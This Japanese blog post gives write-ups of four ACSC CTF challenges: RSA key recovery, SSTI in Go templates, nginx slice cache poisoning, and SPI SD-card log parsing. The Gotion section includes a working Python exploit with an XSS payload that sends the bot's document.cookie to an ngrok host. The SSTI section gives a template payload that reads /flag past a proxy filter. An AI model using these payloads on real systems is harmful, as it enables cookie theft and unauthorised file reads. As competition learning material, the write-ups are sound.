これくらいの pwn から先、ヒープとかその辺、本当に学ばずに来たのでこれくらいが頭を使わずに解ける限界なんだよな……。 というのを毎回思ってはモチベーションが上がるけど結局勉強した試しがない。

Check_number_63 (crypto, 150pts)

問題設定

I know the “common modulus attack” on RSA. But as far as I know, the attacker can NOT factor n, right? I generated 63 keys with different public exponents. I also generated the check numbers to confirm the keys were valid. Sadly, public exponents and check numbers were leaked. Am I still safe?

配布ファイルへのリンク

これは以下の sage ファイルと、その出力である “63 個の public exponent とそれにに対する check number を含んだ output.txt” が与えられるので、RSA の秘密鍵を構成する 2 素数 pq を決定せよという問題です:

from Crypto.Util.number import *
import gmpy2
from flag import *

f = open("output.txt","w")

f.write(f"n = {n}\n")

while e < 66173:
  d = inverse(e,(p-1)*(q-1))
  check_number = (e*d - 1) // ( (p-1)*(q-1) )
  f.write(f"{e}:{check_number}\n")
  assert (e*d - 1) % ( (p-1)*(q-1) ) == 0
  e = gmpy2.next_prime(e)

f.close()

解法

63 個与えられた RSA の secret exponent (って言うんでしたっけ) d と public exponent e の組それぞれに関して、 e * d - 1φ(n) = (p-1)(q-1) で割った商 v が得られています。 つまり e * d - 1 = φ(n) * v を成り立たせる v が既知である、ということです。なんだか φ(n) のもと e * d - 1 ≡ 0、という secret exponent の定義より強そうなことを言っているので、何かしらこねくり回すと解けそうという気分になれます。

というわけで、もう少し考察してみましょう。いま e * d - 1 = φ(n) * v なので、e を法として φ(n) ≡ (e-1) * v^{-1} であることが言えます。これは、63 個の異なる法のもとでの φ(n) に関する合同式が得られることを意味します。CRT で意味のあることが言えそうな設定ですね。

上記のような考察をもとに、以下のステップで解けそうだという予想ができます:

  1. CRT (中国人剰余定理) で一定の自由度を持つ φ(n) の表式を得る
  2. その表式から得られる p + q = n + 1 - φ(n) の表式を得る
  3. p + q の表式を用いて、p + q の値をいくつか取りながら、pq = n と合わせて2次方程式の解と係数の関係から pq を求める

実際に試すと答えが出ます:

import sympy
from gmpy2 import *
from Crypto.Util.number import *
import sympy.ntheory.modular

n = 24575303335152579483219397187273958691356380033536698304119157688003502052393867359624475789987237581184979869428436419625817866822376950791646781307952833871208386360334267547053595730896752931770589720203939060500637555186552912818531990295111060561661560818752278790449531513480358200255943011170338510477311001482737373145408969276262009856332084706260368649633253942184185551079729283490321670915209284267457445004967752486031694845276754057130676437920418693027165980362069983978396995830448343187134852971000315053125678630516116662920249232640518175555970306086459229479906220214332209106520050557209988693711

relations = [
    # [e1, check_number1],
    # [e2, check_number2],
    # ...,
    # [e63, check_number63],
]

# Solve CRT for phi(n)
mod = []
const = []
for r in relations:
    e = r[0]
    h = r[1]
    assert(isPrime(e))

    # assert e and h are coprime
    assert(GCD(e, h) == 1)

    # assert e and n are coprime
    assert(GCD(e, n) == 1)

    einv = inverse(e, h)
    assert(einv * e % h == 1)

    hinv = inverse(h, e)
    assert(hinv * h % e == 1)

    mod.append(e)
    const.append((e - 1) * hinv % e)

result = sympy.ntheory.modular.crt(mod, const)

phi = result[0]
grad = result[1]
k = (n - phi) // grad
assert(phi + k * grad < n)

# Identify p and q with some possible values of phi(n)
while k > 0:
    k -= 1
    print((phi + k * grad)/n)

    pqsum = n - (phi + k * grad) + 1
    assert(pqsum > 0)

    pq = n
    assert(pq > 0)

    with gmpy2.local_context(gmpy2.context(), precision=30000) as ctx:
        inner = pqsum ** 2 - 4 * pq
        if inner <= 0:
            continue

        root = gmpy2.sqrt(inner)
        p = int((pqsum + root) // 2)
        assert(p < n)
        q = int(n // p)

        if isPrime(p) and isPrime(q):
            print(n)

            print("P:")
            print(p)
            print("Q:")
            print(q)

            break

この手の数式いじりで解ける問題、久々に CTF をする人間には(脳トレだけでどうにかなるという点において)得点源としてありがたいことが知られていそう

easySSTI (web, 200pts)

問題設定

Can you SSTI me?

(問題環境へのリンク)

(問題ファイルへのリンク)

配布された問題ファイルを見ると、以下のような実装の proxy を経由して、

server.register(proxy, {
  upstream: "http://app:3001",
  replyOptions: {
    rewriteRequestHeaders: (req, headers) => {
      const allowedHeaders = ["host", "user-agent", "accept", "template"];
      return Object.fromEntries(
        Object.entries(headers).filter((el) => allowedHeaders.includes(el[0]))
      );
    },
    onResponse: (request, reply, res) => {
      const dataChunk = [];
      res.on("data", (chunk) => {
        dataChunk.push(chunk);
      });

      res.on("end", () => {
        const data = dataChunk.join("");

        if (/ACSC\{.*\}/.test(data)) {
          return reply.code(403).send("??");
        }

        return reply.send(data);
      });
    },
  },
});

以下のような Go 実装のアプリケーションにアクセスできることが分かります:

func templateMiddleware(next echo.HandlerFunc) echo.HandlerFunc {
	return func(c echo.Context) error {
		file, err := os.Open("./template.html")
		if err != nil {
			return err
		}
		stat, err := file.Stat()
		if err != nil {
			return err
		}
		buf := make([]byte, stat.Size())
		_, err = file.Read(buf)
		if err != nil {
			return err
		}

		userTemplate := c.Request().Header.Get("Template")

		if userTemplate != "" {
			buf = []byte(userTemplate)
		}

		c.Set("template", buf)
		return next(c)
	}
}

func handleIndex(c echo.Context) error {
	tmpl, ok := c.Get("template").([]byte)

	if !ok {
		return fmt.Errorf("failed to get template")
	}

	tmplStr := string(tmpl)
	t, err := template.New("page").Parse(tmplStr)
	if err != nil {
		return c.String(http.StatusInternalServerError, err.Error())
	}

	buf := new(bytes.Buffer)

	if err := t.Execute(buf, c); err != nil {
		return c.String(http.StatusInternalServerError, err.Error())
	}

	return c.HTML(http.StatusOK, buf.String())
}

func main() {
	e := echo.New()

	e.Use(middleware.Logger())
	e.Use(middleware.Recover())

	e.GET("/", handleIndex, templateMiddleware)

	e.Logger.Fatal(e.Start(":3001"))
}

また、フラグは Go アプリケーションが動作しているコンテナの /flag というパスに存在しています。

解法

一瞥して分かるように、html/template に任意の文字列が渡せるので SSTI が可能です。 ただ愚直に /flag を読むと、proxy 実装が ACSC{...} 形式の文字列を検知して、レスポンスを遮断してしまうのが厄介です。 そのため、雑に Seek() して、ファイルの一部分だけをレスポンスに含めないという一工夫だけ加えてあげれば終わりです:


Template: {{ $f := (.Echo.Filesystem.Open "/flag") }} {{ $f.Seek 1 0 }} {{ .Stream 200 "" $f }}

SSTI 問、テンプレート内からアクセスできる値/関数の中で性質のいいものを探すフェーズ、単にコードリーディングの機会として楽しいがち

Gotion (web, 250pts)

問題設定

Gotion is yet another simple secure note service. You might have seen these kind of applications many times before, but try this one!

(問題環境へのリンク)

(問題ファイルへのリンク)

問題環境は Notion のようなメモを作成・更新・シェアできる Web アプリケーションで、フラグは別途動作している bot がそのアプリケーションのドメインに対して有する Cookie に格納されています。 CTF の競技者は bot に任意 URL を訪れさせることができるので、つまり適当な URL を踏ませることで Cookie を盗めという問題です。

問題ファイルを眺めると、競技者からの通信は、全て以下の設定を持つ nginx を経由してアプリケーションに届きます:

proxy_cache_path /tmp/nginx keys_zone=mycache:10m;
server {
    listen 80;

    location ~ .mp4$ {
        # Smart and Efficient Byte-Range Caching with NGINX
        # https://www.nginx.com/blog/smart-efficient-byte-range-caching-nginx/
        proxy_cache mycache;
        slice              4096; # Maybe it should be bigger?
        proxy_cache_key    $host$uri$is_args$args$slice_range;
        proxy_set_header   Range $slice_range;
        proxy_http_version 1.1;
        proxy_cache_valid  200 206 1h;
        proxy_pass http://app:3000;
    }

    location / {
        proxy_pass http://app:3000;
    }
}

解法

明らかに location ディレクティブの設定が不適切で、これでは .mp4 で終わる文字列ではなく、任意の文字 + mp4 で終わるものがキャッシュされてしまいますね。 Cache Poisoning ができそうです。

その上で、アプリケーションのソースコードを見ると、作成したメモの URL の末尾の文字列は任意に設定可能であることも分かります。 したがって、mp4 を末尾とした URL を適当に生成すると、nginx に想定外のデータをキャッシュさせることができると言えます。

アプリケーション自体には特に XSS 脆弱性が見当たらないので、本来キャッシュされるべきでないメモがキャッシュされたところで問題はないように見えます。 ここで、以下の slice 周りの設定と、今回のメモアプリケーションがメモの更新 を許していることに着目しました:

slice              4096; # Maybe it should be bigger?
proxy_cache_key    $host$uri$is_args$args$slice_range;
proxy_set_header   Range $slice_range;

上記の設定から、われわれ攻撃者は、Range ヘッダで要求した範囲に関連する slice のみを nginx にキャッシュさせることができることが分かります。

ここで、メモページの一部のみ(例えば先頭スライスである Range: 0-4095 の範囲のレスポンスのみ)がキャッシュされた状態で、攻撃者がメモを更新した場合を考えてみましょう。 この状況下では、以下が発生します:

  • 未だキャッシュされていないスライスRange ヘッダ付きで要求されると、nginx はアプリケーション側にデータを取りに行く
  • 既にキャッシュされているスライスRange ヘッダ付きで要求されると、nginx はアプリケーション側にデータを取りに行かない(= アプリケーション側での変更がないものとして nginx は取り扱ってしまう)

いま、攻撃者はメモページ中に < のような文字列を挿入できませんが、メモページ中には当然様々な HTML タグが含まれています:

<html>
    <div>
    ...(攻撃者の入力したメモ)...
    </div>
    <div>
        ...(Web ページを構成する、正規の HTML タグ類)...
    </div>
</html>

ここで、例えば 1 スライス目 (※ 1-indexed とします) が以下のように < で終わるように (攻撃者の入力したメモ) の入力長を制御できたとしましょう:

<html>
    <div>
    ...(攻撃者の入力したメモ)...
    <

この時正規の 2 スライス目は以下のように、1 スライス目末尾の < に続く HTML タグ名から始まるはずです:

div>
        ...(Web ページを構成する、正規の HTML タグ類)...
    </div>
</html>

その上で、nginx に 1 スライスめのみ をキャッシュさせた後、その後でメモを更新して 2 スライス目の先頭が以下のような XSS payload になるように調整する ことができたとします:

img src=x onerror=fetch(`http://XXXXXXXXXXX.jp.ngrok.io/?q=${encodeURIComponent(document.cookie)}`)

この状況を作った後に、bot に上記のような加工をしたメモを閲覧させると、bot に見えるのは以下のような Web ページなはずです:

<html>
    <div>
    ...(攻撃者の入力したメモ)...
    </div>
    <img src=x onerror=fetch(`http://XXXXXXXXXXX.jp.ngrok.io/?q=${encodeURIComponent(document.cookie)}`) (他 HTML タグ等)
</html>

上記のような推論の元ガチャガチャ試行を重ねると、この形の Cache Poisoning が実際にできることが分かります。これで無事 bot のブラウザ上で任意の JavaScript が実行できそうです。 以下のようなスクリプトで細工をしたメモを作成して、bot にその URL を閲覧させることでフラグが得られました:

import requests
import time

HOST="http://ホスト名"

def create(title, content):
    r = requests.post(HOST+"/new-note", data={"title": title, "body": content}, allow_redirects=False)
    return r.headers['Location']

def update(noteId, title, content):
    r = requests.post(HOST+"/update-note", data={"noteId": noteId, "title": title, "body": content}, allow_redirects=False)
    return r.headers['Location']

def access_with_range(note_path, start, end):
    r = requests.get(HOST+"/notes/"+note_path, headers={"Range": "bytes={}-{}".format(start, end)})
    return r.text

vuln_title = "a" * (20-3) + "mp4"

old_content = "<" * 242 + "a"
next_note_id = create(vuln_title, old_content).removeprefix("/notes/")

# cache the first slice once
SLICE = 4096
print(access_with_range(next_note_id, 0, SLICE-1))

# update the page content with the malicious payload
prefix = ">" * 230 + "aaaaa"
payload = "img src=x onerror=fetch(`http://XXXXXXXXXXX.jp.ngrok.io/?q=${encodeURIComponent(document.cookie)}`) "
postfix = "aaaaaaaaaaa"
content = prefix + payload + postfix
update(next_note_id, vuln_title, content)

print(HOST + "/notes/" + next_note_id)

Hardware is not so hard (hardware, 100pts)

問題設定

I have captured communication between a SD card and an embedded device. Could you extract the content of the SD Card? It’s in SPI mode.

(問題ファイルへのリンク)

SPI 通信の通信ログのようなものが与えられるので、それを元に SD カードの中身を復元する問題です。

Device to SD Card : 400000000095
SD Card to Device : 01
Device to SD Card : 48000001aa87
SD Card to Device : 01000001aa
Device to SD Card : 770000000065
SD Card to Device : 01
Device to SD Card : 694000000077
(省略)

解法

SPI 通信のことは昔学んだことがあった ので(もう 4 年前とかで懐かしい)、適当にパースしてメモリロードの命令 (CMD17) だけ拾ってくると、フラグが画像ファイルとして得られました:

instructions_raw = ""
with open("spi.txt", "r") as f:
    instructions_raw = f.read()

instructions = []
lines = instructions_raw.split("\n")
for l in lines:
    if l == "":
        continue

    if l.startswith("Device to SD Card : "):
        data = l.removeprefix("Device to SD Card : ")
        instructions.append({
            "type": "request",
            "value":  [int(data[i:i+2], 16) for i in range(0, len(data), 2)],
        })
    elif l.startswith("SD Card to Device : "):
        data = l.removeprefix("SD Card to Device : ")
        instructions.append({
            "type": "response",
            "value":  [int(data[i:i+2], 16) for i in range(0, len(data), 2)],
            "raw": data,
        })
    else:
        print("exception: ", l)

is_read_sent = False
reading_addr = None

sd_data = {}
for instr in instructions:
    if instr["type"] == "request":
        cmd = instr["value"][0] & 0b00111111

        if cmd == 17:
            is_read_sent = True
            reading_addr = instr["value"][1:5]
        else:
            is_read_sent = False
            reading_addr = None
    if instr["type"] == "response":
        if is_read_sent and instr["value"][0] == 0xff:
            is_reading = False
            data = []
            for b in instr["value"]:
                if is_reading:
                    data.append(b)
                elif b == 0xfe:
                    is_reading = True

            # remove CRC block
            data = data[:-2]
            print("addr: {}, data={}".format(reading_addr, len(data)))

            sd_data[reading_addr[-1]] = data

sorted_sd_data_chunk = []

with open("output.bin", "wb") as f:
    for k in sorted(sd_data.keys()):
        f.write(bytes(sd_data[k]))

おわりに

運営の人々、お疲れさまでした!

  1. 運営の日本人に同い年二人いる気がするんだよな 

  2. ICC の開催日程直後に、業界おなじみの某合宿イベントがあるはずなので、出場権があったとして破滅しないかはちょっと怖いのですが 

Written on February 27, 2023